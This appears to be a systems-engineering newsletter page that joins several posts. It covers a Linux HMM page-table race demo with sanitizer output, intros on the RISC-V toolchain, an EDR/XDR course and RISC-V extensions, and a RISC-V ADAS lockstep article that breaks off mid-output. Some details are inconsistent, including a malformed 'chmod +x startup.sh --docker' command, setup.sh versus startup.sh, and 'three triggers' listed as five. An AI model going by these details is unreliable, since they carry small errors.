4. The driver pins the discovered pages and begins migration via migrate_vma_setup() / migrate_vma_pages() — a DMA copy from host DRAM to device HBM, non-trivial in duration.

5. Concurrently, anything in the kernel that changes the mapping (munmap, COW fork, THP split, swap-out) fires the registered mmu_interval_notifier invalidate callback, which bumps the sequence counter.

6. After the migration work completes, the driver calls mmu_interval_read_retry(notifier, seq).

7. Decision node: if the sequence changed, drop the pin and refault — go back to step 3 with a fresh snapshot. If unchanged, proceed.

8. The driver calls migrate_vma_finalize(), installing the device page-table entry.

9. The pin is dropped.

10. The GPU resumes execution against the now-valid device mapping; control returns to userspace only once the fault is resolved from the GPU’s perspective.

7. Kernel Data Structures

Beyond struct hmm_range, the structures worth knowing by name:

• struct mmu_interval_notifier — registers a [start, end) range of interest against an mm_struct and carries the ops table (.invalidate()) the mm subsystem calls into.

• struct migrate_vma — driven by migrate_vma_setup(); carries src and dst PFN arrays that describe the in-flight migration on a per-page basis, plus the same VMA range HMM already walked.

• struct page / struct folio with ZONE_DEVICE — device-resident memory gets real struct page entries via devm_memremap_pages(), so put_page(), reference counting, and even some reclaim paths work unmodified against device memory instead of needing a parallel type system.

• hmm_pfns[] — the per-page flags array in hmm_range, encoding whether a page is valid, needs a fault, is write-protected, or is already device-resident (HMM_PFN_VALID, HMM_PFN_WRITE, HMM_PFN_ERROR, and friends).

The per-page flags matter because a single hmm_range_fault() call can return a mix of outcomes across the range — some pages already resident and mappable immediately, some requiring the caller to fault them in (e.g. they’re currently swapped out), and some simply erroring out (e.g. the address isn’t backed by anything, or belongs to a VMA type HMM doesn’t support like a device-special mapping). A driver has to walk this array and handle each case, not assume uniform success across the range:

/* Simplified caller-side pattern after hmm_range_fault() returns */
for (i = 0; i < npages; i++) {
    unsigned long pfn_flags = range->hmm_pfns[i];

    if (pfn_flags & HMM_PFN_ERROR) {
        /* unrecoverable for this page: SIGBUS-equivalent to the device */
        continue;
    }
    if (!(pfn_flags & HMM_PFN_VALID)) {
        /* page not resident; caller must retry with fault-in requested */
        need_refault = true;
        continue;
    }
    /* pfn_flags encodes the PFN itself plus HMM_PFN_WRITE etc. */
    device_pfn = hmm_pfn_to_pfn(pfn_flags);
}

This is a direct structural analog of what the demo’s hmm_pfns-equivalent (g_host_pages[] plus the pin count) is doing, simplified down to the single property this lesson is about: can you trust the pointer you’re holding, and is it still backed by live memory.

8. CPU-Level Behaviour

The synchronization pattern is deliberately lock-light on the fast path. mmu_interval_read_begin()/read_retry() is a sequence-counter (seqcount-style) pattern, not a mutex: readers never block writers, and the common case (no concurrent invalidation) costs one atomic load at the start and one at the end, with no cache-line contention against other faulting threads. This matters because GPU fault handling is latency-sensitive — thousands of faults per second under real workloads — and a coarse-grained lock across the whole migration would serialize unrelated ranges against each other for no reason.

The cost is pushed onto the rare path: a genuine invalidation means discarded work and a refault, which is strictly correct but can show up as measurable overhead under pathological access patterns (e.g., a CPU thread and GPU kernel ping-ponging writes to the same page, which is a real anti-pattern user code can hit and one HMM cannot fix for you).

9. Performance Analysis

The demo below models exactly this pattern: one thread continuously performs range-fault-and-migrate, another continuously invalidates at the same granularity, deliberately adversarial to maximize the refault rate for demonstration. In the corrected implementation, run against 20,000 fault rounds across 64 page slots:

hmm_sim_after: completed 20000 rounds on 64 slots, 17665 refaults

An 88% refault rate under this artificial, maximally-contended workload is expected — it’s a stress test, not a representative access pattern. Real GPU workloads see refault rates close to zero because invalidation of a range a GPU kernel is actively resident in is rare; the mechanism is sized for correctness under worst-case concurrency, not tuned assuming it will fire often. Running the same demo three times shows the refault count moving with scheduling noise rather than converging to a fixed value, which is itself the expected signature of a genuine race window rather than a deterministic algorithm:

Build variant Refaults (of 20,000) Sanitizer result -O2 strict release build 17,665 n/a (no sanitizer) ThreadSanitizer build 6,638 clean ASan + UBSan build 17,392 clean Valgrind (-O0) 19,624 0 errors, 0 leaks

The spread — from roughly a third to nearly all rounds refaulting — comes entirely from each instrumentation’s effect on relative thread scheduling and timing, not from any change in the underlying algorithm; the usleep(50) window in the fault path is fixed, but how much CPU time the invalidate thread gets to race into that window varies with how much overhead the sanitizer adds around each memory access. This is a useful intuition to carry into kernel debugging generally: a race’s reproduction rate under a given tool is not a measure of the race’s real-world frequency, only of how that tool happens to perturb scheduling.

The actionable performance lesson for driver code: keep the window between read_begin() and read_retry() as short as possible, since every microsecond in that window is exposure to a refault, and refaults on real hardware mean a repeated DMA setup, not just a cheap retry loop. Production GPU drivers batch this — a single hmm_range_fault() call typically covers many pages at once specifically to amortize the fixed cost of a snapshot-and-retry cycle across as much migrated data as possible, rather than doing it one page at a time the way this simplified demo does for clarity.

10. Debugging Techniques

Three tools catch three different facets of this bug class:

ThreadSanitizer catches the race itself — two threads touching the same memory without a happens-before edge — even in the (surprisingly common) case where the racing writes don’t cause immediately visible corruption:

WARNING: ThreadSanitizer: data race (pid=956)
  Write of size 2 at 0x720400000000 by thread T1:
    #0 hmm_range_fault_and_migrate hmm_sim_before.c:103
    #1 fault_worker hmm_sim_before.c:112
  Previous write of size 8 at 0x720400000000 by thread T2 (mutexes: write M0):
    #0 malloc <libtsan interceptor>
    #1 alloc_host_page hmm_sim_before.c:67
    #2 invalidate_worker hmm_sim_before.c:129

AddressSanitizer catches the consequence — a genuine heap-use-after-free, because the “invalidate” side in this model actually frees and reallocates the backing memory, mirroring real page reclaim:

==967==ERROR: AddressSanitizer: heap-use-after-free on address 0x502000000010
WRITE of size 2 at 0x502000000010 thread T1
    #0 hmm_range_fault_and_migrate hmm_sim_before.c:103
freed by thread T2 here:
    #0 free
    #1 invalidate_worker hmm_sim_before.c:127
previously allocated by thread T0 here:
    #0 malloc
    #1 alloc_host_page hmm_sim_before.c:67

Valgrind’s memcheck is the right tool for the fixed version specifically because it validates the absence of leaks introduced by the pin/unpin bookkeeping — every pin needs a matching unpin on both the commit path and the refault path, and a leaked pin count would silently disable the fix without crashing anything.

On real kernel code, the equivalent debugging surface is CONFIG_DEBUG_ATOMIC_SLEEP (catches sleeping inside the notifier invalidate callback, which must not block), lockdep annotations on the mmu_interval_notifier machinery, and ftrace events around mmu_notifier_invalidate_range_start/end for tracing actual invalidation timing against driver fault handling in production.

Two things are worth calling out about applying userspace sanitizers to this style of kernel-adjacent logic. First, the race only reproduces reliably because the demo’s usleep(50) widens the window enough for the scheduler to interleave the two threads inside it — remove that call and the same bug exists but may take millions of iterations to surface, which is the userspace analog of a kernel race that only shows up on specific hardware timing. Don’t mistake “sanitizer didn’t fire in N runs” for “no race exists”; absence of a report under a fixed number of iterations is evidence, not proof. Second, TSan and ASan are catching genuinely different failure modes here even though they’re triggered by the same root cause: TSan flags the unsynchronized access regardless of whether it’s harmful in a given run, while ASan only fires once the access actually lands on freed memory. Running both is not redundant — a version of this bug that raced on non-freed, merely stale data would still be caught by TSan and missed entirely by ASan.

11. Production Failure Scenarios

Three real-world triggers for the exact race modeled here:

• fork() under active GPU use. A COW fork of a process with GPU-resident mappings triggers exactly the kind of invalidation a naive driver can race against — this is precisely why HMM’s documentation calls out fork handling explicitly as a case drivers must test.

• THP collapse/split racing a fault. Transparent huge pages can be split or collapsed by khugepaged concurrently with a device fault walking the same range; a driver that snapshots PFNs without the retry check can migrate a page whose backing has just changed shape underneath it.

• Swap-out under memory pressure. If system memory pressure triggers reclaim on a page mid-fault, the naive driver is racing the exact free-then-reuse pattern this lesson’s buggy version reproduces deterministically under TSAN.

• Multi-GPU contention on shared address ranges. In multi-accelerator systems, two devices can both hold mmu_interval_notifier registrations against overlapping ranges of the same process. An invalidation triggered by device A’s migration can race device B’s in-flight fault handler exactly as the CPU-vs-GPU case does here — the notifier mechanism doesn’t care which side of the race is “the CPU”; it only cares that a range changed while someone else was mid-snapshot. Driver authors who tested only single-GPU configurations have historically missed this until multi-GPU topologies exposed it.

• Userspace calling madvise(MADV_DONTNEED) concurrently with GPU compute. This is a directly reachable, non-exotic trigger: any application that frees or resets a buffer while a kernel is still running on the GPU is exercising this exact invalidation path, which is precisely why kernel selftests for HMM (tools/testing/selftests/mm/hmm-tests.c) explicitly include concurrent-invalidation test cases rather than relying only on single-threaded correctness checks.

What makes this bug class particularly dangerous in production rather than merely academic is that all three triggers above are routine operations from the CPU side — nothing about fork(), THP management, memory pressure, or madvise() is unusual or attacker-controlled. A driver with this bug doesn’t need a hostile workload to fail; it needs an ordinary Linux system doing ordinary Linux things at the wrong moment relative to GPU activity, which is exactly why the failure often surfaces only after a driver has shipped and accumulated enough real-world usage hours to hit the timing window.

Working demo link:

12. Real-World Production Use Cases

Nouveau’s SVM (Shared Virtual Memory) support and AMDGPU’s KFD SVM path are the two upstream, shipping consumers of this exact API surface, both built directly on hmm_range_fault() and mmu_interval_notifier. Outside GPUs, RDMA on-demand-paging (ODP) uses the same underlying mmu_interval_notifier infrastructure to let InfiniBand hardware fault in memory registrations lazily instead of requiring the whole region pinned up front — a different device, the identical TOCTOU problem, the identical fix.

13. Hands-on Lab

setup.sh builds both the intentionally-buggy and the corrected version of the simulator, runs the full validation gauntlet, and shows you the failure and the fix side by side. Run it with:

chmod +x startup.sh --docker
./startup.sh --docker

Expect it to: detect your distro and kernel version, install build-essential and valgrind if missing, compile the buggy version under TSan and ASan (both should report the race/UAF), compile the fixed version under -Wall -Wextra -Werror -O2, TSan, ASan+UBSan, and Valgrind (all should pass clean), and print a summary.

The exercise worth doing by hand afterward: open hmm_sim_before.c, find the missing notifier_retry() check documented in the comment above hmm_range_fault_and_migrate(), and add it yourself — following the same pattern already implemented in hmm_sim_after.c — then rerun the TSan and ASan builds against your patched version. Watching the exact same reports from Section 10 disappear once you’ve added the three lines that constitute the fix is a more durable way to internalize the API contract than reading about it, and it mirrors the actual code-review question a kernel maintainer would ask of a first HMM driver patch: “where’s your retry check, and what happens if it fires?”

14. Best Practices

• Never trust a page-table snapshot across any operation that can sleep or take meaningful time; always pair mmu_interval_read_begin() with a read_retry() immediately before committing device-visible state, with as little work as possible in between.

• Pin what you’re actively migrating, and make sure every code path — including error and refault paths — drops the pin. A pin leak is a correctness bug that manifests as a hang or a stuck reclaim, not a crash, and is easy to miss in testing.

• Treat a positive read_retry() as the normal case, not an exceptional one, in your capacity planning — write the refault loop assuming it will fire under contention, because it will.

• Keep invalidate callbacks non-blocking. The whole design assumes the invalidate side is cheap (bump a counter); if you make it wait synchronously on unrelated work, you reintroduce the kind of stall the seqcount pattern was chosen specifically to avoid.

• Test with an adversarial invalidator, not just a quiet one. This lesson’s demo deliberately runs the fault path and the invalidate path at matched, maximal frequency because a driver that only gets exercised against occasional, well-spaced invalidations in CI will never hit the retry path enough times to prove it works. If your test suite’s refault rate is near zero, that’s a sign your test isn’t contending hard enough to be meaningful, not a sign your driver is fast.

• Don’t confuse “the sanitizer didn’t fire” with “the code is correct.” As this lesson’s own before/after comparison shows, the same race reproduces at wildly different rates depending on instrumentation and scheduling noise — a clean run proves nothing about a race window that a different kernel, a different core count, or a different sanitizer might expose.

15. Summary

HMM’s contribution isn’t a clever allocator or a scheduling trick — it’s a correct answer to a hard concurrency problem: how does a driver safely act on a page-table snapshot that the CPU is free to invalidate at any moment, without either serializing every access behind a lock or accepting the possibility of a device DMA engine writing into freed memory. The mechanism is a sequence-counter retry check plus page pinning, and this lesson’s demo makes the failure mode and the fix both fully reproducible: omit the retry check and TSan/ASan will show you a real race and a real use-after-free within seconds; add it back correctly, and the identical workload passes a full sanitizer and Valgrind gauntlet clean. That gap — between “compiles and usually works” and “provably correct under adversarial scheduling” — is exactly the gap HMM’s API contract exists to close for every driver author who has to implement it.

Every article in this series so far has stayed on one side of a boundary: the kernel. Watchdogs, mempool_t, the scheduler’s task-switch path, CXL’s HDM-DB coherency model — all of it lives in vmlinux, running in supervisor mode, indifferent to whatever produced the instructions it executes. This one crosses that boundary in the other direction. Before any of that kernel code runs, something had to turn .c files into RISC-V machine code, decide which of the dozens of optional RISC-V extensions to target, and encode that decision into the binary in a form the linker and the loader can both act on. That something is the toolchain, and on RISC-V it behaves differently — and is less mature — than the x86 or AArch64 toolchains most engineers take for granted.

This matters for a concrete, current reason. RISC-V is the first mainstream ISA where the extension surface is genuinely open-ended: a vendor can ship a chip with the base integer set, the compressed instruction extension, bit-manipulation extensions, vector extensions, and any number of custom extensions, in almost any combination. GCC and LLVM cannot assume a fixed feature set the way they can for x86-64-v3 or armv8.2-a. They have to parse an arbitrary, underscore-delimited ISA string, validate it against a versioned extension database, and thread that decision through every stage of compilation, assembly, and linking. Getting this wrong doesn’t just mean a missed optimization — it means emitting an instruction the target CPU will trap on.

Everything in this article was built and executed for real: cross-compiled with riscv64-linux-gnu-gcc 13.3.0 and clang 18.1.3 targeting riscv64-linux-gnu, and run under qemu-riscv64 user-mode emulation, which — confirmed during development — correctly implements the riscv_hwprobe(2) syscall used by the demo. Every command output, every disassembly fragment, and every error message quoted below is a real result, not a reconstruction.

Read more

A 21-issue engineering course on how modern security platforms are actually built — one layer at a time.

If you’ve ever wondered what’s really happening inside tools like CrowdStrike, SentinelOne, or Elastic Security when they detect an attacker on a laptop, this course is for you. Over 21 newsletter issues, we build a working — if intentionally simplified — EDR/XDR system from the ground up, so you understand the engineering, not just the marketing.

What EDR Actually Means

EDR (Endpoint Detection and Response) is software that watches a single machine closely: what processes start, what files get written, what network connections open. Think of it as a very attentive security camera pointed at one computer.

What XDR Actually Means

XDR (Extended Detection and Response) takes that idea further — it connects clues from many sources (different hosts, user identities, containers) into a single incident story. Instead of “curl ran on laptop-01,” XDR asks: “does this connect to that weird login and that unusual outbound connection on another host?”

What You’ll Actually Build

You’ll build a layered pipeline that mirrors how real EDR/XDR platforms are structured:

• Agents for Linux, Windows, macOS, and Kubernetes that observe activity on a host

• A common event format (OCSF) that normalizes what each OS reports into one shared language

• A secure transport layer that buffers events and ships them with mutual TLS

• An ingest and storage pipeline that queues and persists events

• Detection rules (Sigma-as-code) and behavioral scoring that flag suspicious patterns

• Correlation logic that stitches related alerts into a single incident (the “X” in XDR)

• A SOC dashboard and an AI copilot that help an analyst investigate

• A response layer that can take action — but only with explicit approval

The Architecture, In Plain Terms

Agents (Linux/Windows/macOS/K8s)
        ↓  (convert to OCSF JSON)
Secure transport (buffer + mTLS)
        ↓
Ingest → broker → storage
        ↓
Detections → correlation
        ↓
Dashboard / AI copilot → response (approved actions only)

Each arrow in that diagram is its own set of issues in the course.

The Technologies You’ll Work With

• eBPF (via Aya) for the Linux agent, ETW for Windows, and an Endpoint Security scaffold for macOS

• OCSF (Open Cybersecurity Schema Framework) — the shared event schema, verified against the real 1.8.0 spec — so a process launch on Linux and one on Windows look the same to the backend

• mTLS and SQLite-based buffering in the transport layer, so events aren’t lost if the network drops

• Kafka-style broker → ClickHouse/SQLite pipeline for ingest and storage

• Sigma-as-code detection rules plus a behavioral scoring engine and identity-based detection (ITDR) for things like impossible-travel logins

• A correlation engine that links host, user, IP, and file-hash signals into one incident

• A control-plane response system (kill process, quarantine file, isolate host) that is deliberately separated from the data plane and requires an explicit --approved flag — no silent auto-isolation

• A SOC dashboard and an AI copilot with constrained tools and red-team testing built in

• A Helm chart for packaging the stack

What Makes This Different

Most security courses either stay theoretical or hand you a black-box product to click around in. This course does neither:

• You build every layer yourself, from raw kernel events to the final incident view.

• Labs run on replay fixtures (recorded event files) rather than requiring live kernel access on your machine, so you can follow along without special hardware or risky live hooking.

• Design decisions are documented, including the ADR that separates “seeing” (data plane) from “acting” (control plane) — a real architectural principle used in production security systems.

• Detection is taught as a conversion story, not a magic black box — you’ll see exactly how a raw event becomes an OCSF record becomes a matched rule becomes a correlated incident.

How the 21 Issues Progress

The course moves in a deliberate build order, roughly following the attack lifecycle a real analyst deals with:

1. Foundations — threat model and the OCSF schema you’ll normalize everything into

2. Agents — Linux (eBPF), Windows (ETW), and macOS, one platform at a time

3. Transport and pipeline — buffering, mTLS, and getting events into storage (Kafka → ClickHouse)

4. Telemetry depth — file, network, and persistence events, plus Kubernetes/container support

5. Detection — Sigma-as-code rules and behavioral detection

6. XDR correlation and identity — stitching alerts into incidents, including identity-based detection

7. Response — approved, auditable actions like isolating a host

8. Dashboard and AI copilot — the analyst-facing layer, including red-team testing of the copilot itself

9. Hardening and capstone — anti-tamper concepts, packaging with Helm, and a final coverage report

Each issue corresponds to a specific git tag in the companion repo, so you can check out exactly the working state that issue describes and follow along in real code.

An Honest Note

This is a demoable vertical slice, not a commercial product. It is not a claim that these labs produce a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. Most demos run against replay fixtures rather than live kernel hooks, and the goal is to teach you how these systems are layered and why, using honest labs and clearly scoped stubs — not to hand you an enterprise security platform.

Start Building

The full architecture only makes sense once you’ve laid the foundation. Issue 01 — Foundations, Threat Model, and OCSF is where it begins.

If you’ve ever wanted to understand security tooling from the inside out — not as a user, but as the engineer who built it — start there.

Every general-purpose kernel is designed around an assumption: the instruction set is a fixed, known quantity. x86-64 has AVX. ARM64 has NEON. The kernel knows what registers exist, how big they are, and how to save them across a context switch, because the vendor manual said so years before the kernel shipped.

Embedded IoT edge silicon breaks that assumption on purpose. A RISC-V SoC vendor building a sensor-fusion chip, a crypto accelerator, or an always-on DSP core will frequently bolt a custom instruction extension onto the base ISA — new opcodes, new architectural registers, sometimes an entirely new register file — because the base ISA doesn’t have a MAC unit that fits a keyword-spotting model in 200 microwatts. RISC-V was designed for exactly this: the base ISA is small, ratified, and stable, and everything else is additive, encoded in reserved opcode space, and optional per-implementation.

This creates a real kernel engineering problem with two distinct halves. First, software has to find out at runtime whether a given extension is present at all — a problem the RISC-V ecosystem solved formally only in 2023, three decades into Linux’s life, with a dedicated syscall. Second, if that extension adds architectural state — new registers that live in silicon, not memory — the kernel has to know about that state well enough to save and restore it correctly every time it switches which task is running, or one task’s secrets leak into the next task’s register file.

This article works through both halves using real kernel mechanisms — riscv_hwprobe(2) for discovery, and the RISC-V vector extension’s context-switch machinery as the reference design for extended-state save/restore — and builds a validated userspace simulation of both, including two real bugs caught while writing the demo: a data race in a naive discovery cache, and a genuine cross-task register-state leak from a naive lazy-restore policy. That second bug, it turns out, is not hypothetical — it mirrors a class of bug the actual RISC-V vector subsystem has had to explicitly guard against in-tree.

Read more

An ADAS domain controller has to do two contradictory things at once. One side of the chip runs perception — camera and radar fusion, object detection, path planning — workloads that want throughput, caches, speculation, and a general-purpose OS underneath them. The other side runs the control loop that actually moves the brakes and the steering rack, and that side cares about exactly one thing: never miss a deadline, and never act on a wrong answer. Get the first side wrong and the car drives worse. Get the second side wrong and someone gets hurt.

RISC-V’s relevance to this problem isn’t that it’s open or that licensing is cheaper than Arm — those are business arguments. The engineering argument is that RISC-V is a modular ISA with a privileged architecture designed to be implemented differently at different privilege levels, which means a single vendor can build one core that runs Linux for perception and a structurally different, lockstepped core on the same die that runs the safety loop, sharing an interrupt fabric and a memory-protection scheme instead of two unrelated chips talking over a slow bus. RISC-V’s modular architecture allows the semiconductor industry to build heterogeneous SoCs combining high-performance cores with deterministic real-time cores and safety-certified lockstep cores, tailored to specific workloads. This article works through why that architecture looks the way it does, what the kernel actually touches versus what stays entirely in hardware, and builds a validated userspace demonstration of the software pattern — dual-channel comparison, deadline supervision, watchdog-triggered fail-safe — that a real lockstep core enforces below the instruction stream.

2. Historical Background

Automotive functional safety architecture predates RISC-V by decades. ISO 26262, first published in 2011 and revised in 2018, formalized Automotive Safety Integrity Levels (ASIL A through D) as a way to size the rigor of a design process — and the redundancy of the hardware — to the severity of what happens if the function fails. Braking and steering control land at ASIL-D, the strictest tier, which in practice has meant dual-core lockstep (DCLS) silicon: two cores executing the identical instruction stream with comparator logic watching for divergence, a pattern that goes back to Infineon’s TriCore Aurix and NXP’s Arm-based safety MCUs long before RISC-V automotive silicon existed.

What changed is that RISC-V’s privileged specification gives a chip vendor room to implement M-mode (machine mode) safety mechanisms — physical memory protection, trap delegation, core-local interrupt controllers — as fully custom hardware without touching the base ISA that userspace and the kernel compile against. That’s what let IP vendors start shipping ASIL-qualified RISC-V cores as a product category rather than a research exercise. Andes Technology’s D23-SE, built on the production-proven D23 core, brings Dual-Core Lockstep and Split-Lock operation to ASIL-B and ASIL-D automotive systems, and it isn’t alone — Nuclei Systems now licenses ASIL-D compliant CPUs to major automotive customers, and Rambus has taken the same DCLS discipline into the security co-processor with a RISC-V core certified ASIL-D ready by SGS-TÜV Saar for use in V2X communications, ADAS, and ECU platform management. The open-source side has moved too: the SafeLS project implemented an open-source lockstep RISC-V core based on Gaisler’s NOEL-V, integrated into an FPGA-synthesizable SoC assessed against automotive and railway safety requirements.

3. Systems-Level Problem

General-purpose Linux scheduling optimizes for average throughput. A control loop for automatic emergency braking needs the opposite guarantee: a bounded worst case, not a good average. If 999 cycles out of 1000 complete in 200 microseconds and one takes 12 milliseconds because of a page fault, an IRQ storm, or a scheduler decision that let a lower-priority task run, that one cycle is the one that matters, because it’s the one where a vehicle two meters from an obstacle didn’t get a brake command in time.

Three failure modes have to be handled, not just detected after the fact:

• Timing faults — the control loop is logically correct but late. A correct answer delivered after the actuation window closes is equivalent to no answer.

• Value faults — a bit flip from a cosmic-ray-induced single-event upset (SEU), a marginal voltage rail, or a genuine software bug produces a wrong but timely answer.

• Silent faults — the system stops updating without an obvious crash: a livelocked thread, a stuck interrupt, a deadlocked lock that never times out.

Lockstep hardware addresses value faults. Real-time scheduling and interrupt discipline address timing faults. A watchdog — hardware or kernel-mediated — addresses silent faults. None of the three substitutes for the other two, and a production ADAS domain controller needs all three simultaneously, which is why the architecture ends up layered the way it does.

4. Linux Kernel Architecture

Here’s the part that’s easy to get wrong by assumption: Linux does not run the ASIL-D control loop. On a real automotive RISC-V SoC, the safety-rated lockstep core typically runs a small, statically-verified RTOS or a bare-metal safety kernel — not arch/riscv Linux — precisely because Linux’s memory allocator, page cache, and scheduler have failure modes (allocation stalls, RCU grace periods, cgroup accounting) that are extraordinarily hard to bound formally to the standard ISO 26262 demands. Automotive RISC-V platforms require hypervisor-certified separation for Linux and AUTOSAR coexistence, with deterministic interrupt behavior and memory protection enforced through PMP and hardware partitioning, and dedicated safety islands provide independent supervision of the main compute cluster in centralized autonomous platforms, separate from wherever Linux is running perception.

So what does arch/riscv Linux actually own in this picture? Three things, all visible in the architecture diagram above:

1. The non-safety compute cluster — perception, sensor fusion, path planning — where PREEMPT_RT-patched Linux with SCHED_FIFO/SCHED_DEADLINE gets you soft real-time behavior good enough for a monitoring or advisory role, but not the certified control authority itself.

2. The interrupt fabric — the RISC-V Platform-Level Interrupt Controller (PLIC), and increasingly the newer Core-Local Interrupt Controller (CLIC) for lower-latency vectored interrupts, both of which the kernel’s drivers/irqchip/irq-riscv-intc.c and PLIC driver manage for the Linux-owned cores.

3. PMP-aware memory mapping — Physical Memory Protection is configured in M-mode by firmware (OpenSBI) before S-mode Linux ever boots, carving out regions the kernel is permitted to touch and regions reserved for the safety island. Linux doesn’t configure PMP directly from S-mode; it lives inside the fence PMP has already drawn.

The safety loop itself — the thing this article’s demo simulates — runs on hardware that Linux can supervise (via a watchdog character device, via shared memory heartbeat, via CAN) but does not host. That distinction is the single most important thing to take from this section.

5. Internal Working

Dual-core lockstep works by running two instances of the same core — sometimes physically identical, sometimes a “delayed lockstep” pair offset by a few cycles to catch faults that a perfectly synchronous pair would miss — on the identical instruction stream and comparing outputs every cycle or every bus transaction. DCLS remains the dominant ASIL-D safety mechanism: two identical cores execute the same instruction stream while comparator logic detects divergence. When the comparator sees a mismatch, it doesn’t try to figure out which core is right — that’s not knowable from output comparison alone — it asserts a fault line that forces the whole subsystem into a predefined safe state, typically holding the last known-safe actuator command or commanding a controlled stop.

Split-lock mode, which Andes’ D23-SE also supports, lets the same silicon run as two independent cores for non-critical workloads when the full safety margin isn’t needed, then reconfigure into lockstep for the safety-critical phase — a way to reclaim performance without a second, dedicated safety die. RISC-V’s open specification also enables “flex-lockstep” designs, where cores transition between modes rather than being permanently wired one way, and custom ISA extensions can build software-defined hardware enclaves that provide spatial and temporal isolation for ASIL-D tasks on the same die as high-performance perception workloads — the single-die, mixed-criticality SoC that section 4’s architecture diagram shows.

Software can’t replicate cycle-level instruction comparison — that only exists in silicon. What software can replicate faithfully is the higher-level pattern: two independent computations of the same function from the same input, a bitwise comparator, and a fail-safe action on mismatch. That’s exactly the structure of this article’s demo, and it’s honest about the gap: the demo catches a corrupted floating-point register the same way DCLS catches a corrupted ALU output, but it does so at thread granularity measured in milliseconds, not instruction granularity measured in nanoseconds.

6. Step-by-Step Execution Flow

Github Link:

http://github.com/sysdr/howtech-p/tree/main/RISC-V-in-Automotive/adas-lab

Walking through one 5 ms control period as the demo implements it:

1. Snapshot. The orchestrating thread takes a fresh sensor reading (in the real system: fused radar/camera distance and closing speed; in the demo: a deterministic pseudo-random generator standing in for a live sensor bus) and writes it to a shared, read-only-during-compute structure.

2. Fork. Both channels are released from a pthread_barrier_wait simultaneously. This barrier is the software analog of the clock edge that releases both lockstep cores together.

3. Independent compute. Each channel calls the identical pure function, compute_brake_command(), on its own snapshot of the sensor frame. No shared mutable state is touched during compute — that’s what makes the two channels genuinely independent rather than incidentally correlated.

4. Join. Both channels rendezvous at a second barrier before either result is read. This ordering matters: reading a result before both channels have written it isn’t a comparator, it’s a race.

5. Compare. The orchestrator does a memcmp of the two control_cmd_t structs — not a floating-point epsilon comparison. Deterministic computation on identical bit-pattern input must produce identical bit-pattern output; any difference at all is a fault, not noise to be tolerated.

6. Branch. Match → the command is eligible to reach the actuator. Diverge → the fault is logged and the system holds the fail-safe command (full brake, in this demo) rather than trusting either channel.

7. Deadline check. Elapsed wall-clock time for the cycle is compared against the 5 ms budget, independent of whether the values matched — a late-but-correct cycle is still a fault class of its own.

8. Heartbeat. A monotonic timestamp is published for the watchdog thread to observe.

9. Watchdog poll. A separate thread, decoupled from the control loop’s own scheduling, checks whether the heartbeat has advanced within the timeout window. If it hasn’t, that thread — not the possibly-wedged control loop — forces the safe state.

10. Sleep to next tick, and repeat.

7. Kernel Data Structures

The demo runs entirely in userspace, but every structure it uses maps to a real kernel-visible construct on the Linux side of a production system:

Demo construct Real kernel/hardware analog pthread_barrier_t rendezvous Hardware clock-edge synchronization between lockstep cores atomic_uint_fast64_t heartbeat A value written to a watchdog device via ioctl(fd, WDIOC_KEEPALIVE, 0), or hrtimer-driven kicking of /dev/watchdog Watchdog polling thread The kernel’s softlockup/hardlockup detector (kernel/watchdog.c), or an external hardware watchdog IC on the safety island sched_setscheduler(SCHED_FIFO) struct sched_rt_entity inside task_struct, or SCHED_DEADLINE‘s struct sched_dl_entity for a harder guarantee clock_gettime(CLOCK_MONOTONIC) ktime_get() inside the kernel, backed by the RISC-V rdtime CSR read (time / timeh) Fail-safe branch on divergence Comparator fault line asserted into the safety island’s mcause/trap path, typically routed to a dedicated NMI-equivalent

The one honest gap in this table: there’s no userspace equivalent of the PMP configuration that keeps the safety core’s memory region physically unreachable from the Linux-hosted cores. That protection is a hardware property enforced before any instruction on the Linux side executes, and no amount of software discipline in a demo replicates it — it’s the reason section 4 insists on keeping the safety loop off Linux entirely in a real design.

8. CPU-Level Behaviour

RISC-V’s privileged architecture defines three (sometimes two) privilege levels — Machine (M), Supervisor (S), and User (U) — and the safety story is largely about what happens at the M/S boundary. PMP is configured through a bank of pmpcfgN/pmpaddrN CSRs, writable only from M-mode, each entry describing a physical address range and a permission set (read/write/execute) plus a locking bit that, once set, cannot be cleared until the next reset. That lock bit is the mechanism: firmware sets up the memory partition between the safety-rated region and the general-purpose region at boot, locks it, and from that point forward not even a kernel bug in the Linux-hosted S-mode can widen its own permissions into the safety core’s memory.

Trap handling follows the same M/S split. An exception or interrupt on a RISC-V hart sets mcause and either handles it in M-mode or delegates it to S-mode via medeleg/mideleg. A lockstep comparator fault is architecturally similar to an NMI: it’s routed to demand immediate attention regardless of the current interrupt-enable state, because the alternative — waiting for a normal interrupt to be serviced behind other pending work — defeats the purpose of having lockstep at all.

At the microarchitecture level, delayed lockstep (running the shadow core a fixed number of cycles behind the primary and comparing with matching delay) catches a different fault population than fully synchronous lockstep: transient voltage droops and clock jitter that would otherwise correlate across two literally-synchronous cores and slip past a comparator that assumes independence. This is a real design tradeoff vendors make, not a detail — a fully synchronous lockstep pair sharing a clock tree and power rail is not, in the strictest sense, statistically independent, and functional-safety case documentation has to argue that point explicitly.

9. Performance Analysis

The demo measures three things every cycle: wall-clock cycle time (barrier-to-barrier), whether that time exceeded the 5 ms budget, and whether the two channels’ outputs matched. A clean run over 300 cycles on this article’s development machine:

=== ADAS Lockstep Control Loop Summary ===
cycles run:          300
faults injected:     1
faults detected:     1
deadline overruns:   0 (budget 5000000 ns)
avg cycle time:      0.009 ms
max cycle time:      0.055 ms
watchdog tripped:    no

Sub-millisecond cycle times here are expected and not representative of a real ECU: this demo runs SCHED_FIFO on an otherwise-idle Linux host with no actual sensor I/O, no CAN bus round trip, and no perception workload competing for cache and memory bandwidth. What the numbers are useful for is relative comparison — how the same code behaves under different instrumentation, which is the subject of the next section, and it’s where the real finding in this build lives.

10. Debugging Techniques

Standard tooling applies directly: ftrace for scheduling latency (trace-cmd record -e sched_switch), perf sched latency for a statistical view of run-queue wait time, and for the RISC-V hardware itself, JTAG via OpenOCD for M-mode/S-mode register and CSR inspection when a debug adapter is available on the target.

But the interesting result from building this demo came from the mandatory validation gauntlet, not from the feature code. Running the identical binary under -fsanitize=thread and separately under valgrind --leak-check=full produced a watchdog trip — the 15 ms heartbeat timeout fired — on some runs, with zero data races reported by TSan and zero memory errors reported by valgrind:

$ ./adas_lockstep_tsan
[FAULT] cycle 150: lockstep divergence detected - entering fail-safe...
[WATCHDOG] heartbeat timeout - forcing safe state
=== ADAS Lockstep Control Loop Summary ===
...
watchdog tripped:    yes

$ valgrind --leak-check=full --show-leak-kinds=all ./adas_lockstep
...
